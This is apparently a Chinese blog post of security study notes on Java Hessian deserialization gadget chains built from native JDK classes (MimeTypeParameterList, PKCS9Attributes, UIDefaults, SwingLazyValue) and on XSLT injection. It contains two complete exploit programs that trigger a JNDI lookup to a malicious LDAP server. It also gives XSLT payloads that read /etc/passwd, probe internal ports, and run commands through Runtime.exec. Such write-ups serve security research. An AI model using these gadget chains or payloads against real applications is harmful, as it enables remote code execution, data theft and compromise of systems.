水一下博客,之前这篇写在本地了,现在放到博客方便用的时候看,因为前面nacos的时候用到了一些
这两条链子都是基于原生jdk的,不需要其他依赖
MultiUIDefaults利用链 链子
javax.swing.MultiUIDefaults.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
toString的触发利用Hessian的异常toString来触发即可
这个链是从 MultiUIDefaults 的 toString 方法开始,一路调用到 SwingLazyValue 的 createValue(但是SwingLazyValue 好像在 jdk8 之后删了)
流程分析 那就开始分析利用链,从createValue方法开始
public Object createValue (final UIDefaults table) { try { ReflectUtil.checkPackageAccess(className); Class<?> c = Class.forName(className, true , null ); if (methodName != null ) { Class[] types = getClassArray(args); Method m = c.getMethod(methodName, types); makeAccessible(m); return m.invoke(c, args); } else { Class[] types = getClassArray(args); Constructor constructor = c.getConstructor(types); makeAccessible(constructor); return constructor.newInstance(args); } } catch (Exception e) { } return null ; }
在这里调用了Class.forName,也就是可以类的静态代码块代码
然后这里使用的 getMethod 和 getConstructor 都只能获取到 public 方法,而 invoke 的第一个参数是一个 class 而不是对象实例,所以这里的效果就是可以调用任意 public 的 static 方法,所以最后可以打jndi,利用InitialContext.doLookup()静态方法
然后也是网上找引用,到UIDefaults.getFromHashTable这里
这个value是通过get键的值获取的
private Object getFromHashtable (final Object key) { Object value = super .get(key); if ((value != PENDING) && !(value instanceof ActiveValue) && !(value instanceof LazyValue)) { return value; }
UIDefaults这个类本身就是继承Hashtable的,所以我们传的这个value还需要是LazyValue的实例,而SwingLazyValue就实现了LazyValue接口
然后UIDefaults.get方法
public Object get (Object key) { Object value = getFromHashtable( key ); return (value != null ) ? value : getFromResourceBundle(key, null ); }
然后MultiUIDefaults#toString方法
@Override public synchronized String toString () { StringBuffer buf = new StringBuffer (); buf.append("{" ); Enumeration keys = keys(); while (keys.hasMoreElements()) { Object key = keys.nextElement(); buf.append(key + "=" + get(key) + ", " ); } int length = buf.length(); if (length > 1 ) { buf.delete(length-2 , length); } buf.append("}" ); return buf.toString(); }
但是这个链子用不了,根据文章说这是从xstream的历史链中参考来的
xstream的历史链如下,https://x-stream.github.io/CVE-2021-21346.html
Rdn$RdnEntry#compareTo-> XString#equal-> MultiUIDefaults#toString-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup()
但更离谱的是我是连MultiUIDefaults这个类都创建不了的,而且看了MultiUIDefaults这个类,构造方法也是public的啊,怪了
他们的用不了反序列化报错是这样的
java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"
喔原来是作用域的问题,因为该类没有修饰符,所以只能在javax.swing包内访问,那么Hessian就没有办法反序列化这个类了,因为Hessian2 拿到了构造器,但是没有 setAccessable,newInstance 就没有权限
所以MultiUIDefaults这个类得换一下,找个平替
要找类需要是 public 的,构造器也是 public 的,构造器的参数个数不要紧,hessian2 会自动挨个测试构造器直到成功
然后是找到这个类MimeTypeParameterList
public String toString () { StringBuffer buffer = new StringBuffer (); buffer.ensureCapacity(this .parameters.size() * 16 ); Enumeration keys = this .parameters.keys(); while (keys.hasMoreElements()) { String key = (String)keys.nextElement(); buffer.append("; " ); buffer.append(key); buffer.append('=' ); buffer.append(quote((String)this .parameters.get(key))); } return buffer.toString(); }
这个parameters属性就是一个Hashtable
现在链子如下:
MimeTypeParameterList.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
exp编写 那就可以编写异常触发toString的exp了
package org.clown.exp;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;public class MimeTypeParameterListExp { public static byte [] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); } public static Object Hessian2_Deserial (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } public static void setField (Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = o.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(o, value); } public static void main (String[] args) throws Exception{ MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList (); UIDefaults uiDefaults = new UIDefaults (); SwingLazyValue swingLazyValue = new SwingLazyValue ("javax.naming.InitialContext" ,"doLookup" ,new Object []{"ldap://127.0.0.1:8085/TaeXQxXj" }); uiDefaults.put("clown" ,swingLazyValue); setField(mimeTypeParameterList,"parameters" ,uiDefaults); byte [] data = Hessian2_Serial(mimeTypeParameterList); byte [] poc = new byte [data.length + 1 ]; System.arraycopy(new byte []{67 }, 0 , poc, 0 , 1 ); System.arraycopy(data, 0 , poc, 1 , data.length); Hessian2_Deserial(poc); } }
用yaki起了一个恶意ldap服务
PKCS9Attributes利用链 这是另一条利用链,说是在nacos的raft反序列化中出现过,到时候看看
PKCS9Attributes#toString-> PKCS9Attributes#getAttribute-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup()
这里后面的部分也没有变化,只是前面触发get方法的地方变了,简单看看
PKCS9Attributes#toString
public String toString () { StringBuffer buf = new StringBuffer (200 ); buf.append("PKCS9 Attributes: [\n\t" ); ObjectIdentifier oid; PKCS9Attribute value; boolean first = true ; for (int i = 1 ; i < PKCS9Attribute.PKCS9_OIDS.length; i++) { value = getAttribute(PKCS9Attribute.PKCS9_OIDS[i]); if (value == null ) continue ; if (first) first = false ; else buf.append(";\n\t" ); buf.append(value.toString()); } buf.append("\n\t] (end PKCS9 Attributes)" ); return buf.toString(); }
这里遍历PKCS9_OIDS,PKCS9_OIDS是ObjectIdentifier类数组
然后调用getAttribute方法
public PKCS9Attribute getAttribute (ObjectIdentifier oid) { return attributes.get(oid); }
然后调用get方法,这里的attributes是一个Hashtable
那就直接写一个exp出来可以
package org.clown.exp;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;public class PKCS9AttributesExp { public static byte [] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); } public static Object Hessian2_Deserial (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } public static void setField (Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = o.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(o, value); } public static void main (String[] args) throws Exception{ PKCS9Attributes pkcs9Attributes = new PKCS9Attributes (new PKCS9Attribute []{}); UIDefaults uiDefaults = new UIDefaults (); uiDefaults.put(PKCS9Attribute.CONTENT_TYPE_OID, new SwingLazyValue ("javax.naming.InitialContext" ,"doLookup" ,new Object []{"ldap://127.0.0.1:8085/TaeXQxXj" })); setField(pkcs9Attributes,"attributes" ,uiDefaults); byte [] data = Hessian2_Serial(pkcs9Attributes); byte [] poc = new byte [data.length + 1 ]; System.arraycopy(new byte []{67 }, 0 , poc, 0 , 1 ); System.arraycopy(data, 0 , poc, 1 , data.length); Hessian2_Deserial(poc); } }
然后这里有一个小知识点,我这里一开始很好奇,为什么我可以强制修改PKCS9Attributes的attributes属性,明明泛型都不一样,问了一下通灵义码,解释如下
Java 的泛型在运行时会被擦除,因此在运行时不会检查泛型类型。这就是为什么你可以通过反射将 UIDefaults 设置为 attributes 字段而没有立即抛出错误的原因
原来如此
而且这个gadget在jdk8可以通杀,因为是原生的链子的,可用性非常高
XSLT代码执行 这里拉在一起学了,因为用hessian打内存马的时候用到了
看这篇文章:https://xz.aliyun.com/t/15670?u_atoken=4522326c1b0eeaa26f519f65d9e58254&u_asig=0a472f5217326934441316160e013b
XSLT介绍 XSLT(Extensible Stylesheet Language Transformations,可扩展样式表语言 转换)是一种用于将XML文档转换成HTML、文本、或其他XML文档的语言。它基于XPath和XSL,是W3C(万维网联盟)定义的一个标准。
基本语法:
xsl:stylesheet:根元素,定义了转换的基本信息,如版本号和命名空间。 xsl:template:定义转换模板,可以包含匹配模式和模板规则。 xsl:for-each:用于迭代XML文档中的节点集合。 xsl:if、xsl:choose、xsl:when:条件语句,用于基于条件选择不同的转换路径。 xsl:value-of:用于输出XML节点的文本内容。 xsl:variable:定义变量,用于存储和重用转换过程中的数据。 xsl:param:定义参数,允许在调用模板时传递参数。 xsl:include、xsl:import:用于包含或导入其他XSLT样式表。
具体的可以去看一下菜鸟:https://www.runoob.com/xsl/xsl-tutorial.html
恶意利用 xslt是有一些函数的,其中一些函数或者标签是我们能够利用的,可以去翻看官方文档
system-property() 这个函数可以用来返回系统属性的值。
语法
相关描述
xsl:version,一个数字,表示处理器实现的XSLT版本;对于实现本文档指定的XSLT版本的XSLT处理器,这是数字1.0 xsl:vendor,一个标识XSLT处理器供应商的字符串 xsl:vendor-url,一个包含标识XSLT处理器供应商的url的字符串;通常,这是供应商网站的主页。
用法
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/fruits" > <xsl:value-of select ="system-property('xsl:vendor')" /> </xsl:template > </xsl:stylesheet >
document() 用于访问外部 XML 文档中的节点。
因为他的传参为URI
document( URI [,node-set] )
所以可以读取文件
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/fruits" > <xsl:copy-of select ="document('/etc/passwd')" /> Fruits: <xsl:for-each select ="fruit" > - <xsl:value-of select ="name" /> : <xsl:value-of select ="description" /> </xsl:for-each > </xsl:template > </xsl:stylesheet >
也可以端口探测
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/fruits" > <xsl:copy-of select ="document('http://172.16.132.1:25')" /> Fruits: <xsl:for-each select ="fruit" > - <xsl:value-of select ="name" /> : <xsl:value-of select ="description" /> </xsl:for-each > </xsl:template > </xsl:stylesheet >
RCE 这一部分是比较重要的了,它可以任意命令执行
xslt处理器如果不禁用,能将本机的java语言方法暴露为XSLT函数,导致任意代码执行漏洞
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob ="http://xml.apache.org/xalan/java/java.lang.Object" > <xsl:template match ="/" > <xsl:variable name ="rtobject" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtobject,'ls')" /> <xsl:variable name ="processString" select ="ob:toString($process)" /> <xsl:value-of select ="$processString" /> </xsl:template > </xsl:stylesheet >
执行逻辑解释
<xsl:variable name="rtobject" select="rt:getRuntime()"/>:创建了一个变量rtobject,它调用Runtime.getRuntime()方法来获取当前Java应用程序的运行时环境。 <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>:创建了一个变量process,它调用Runtime.exec()方法来执行系统命令ls(在Unix/Linux系统中列出目录内容)。 <xsl:variable name="processString" select="ob:toString($process)"/>:创建了一个变量processString,它将process对象转换为字符串。 <xsl:value-of select="$processString"/>:输出processString变量的值,即ls命令的输出结果。
参考 https://h4cking2thegate.github.io/posts/48198/#PKCS9Attributes
https://xz.aliyun.com/t/11732?u_atoken=2f8cf1aa195092bd55fd48ca5c229089&u_asig=1a0c39d517326969518455856e0045
https://xz.aliyun.com/t/15670?u_atoken=4522326c1b0eeaa26f519f65d9e58254&u_asig=0a472f5217326934441316160e013b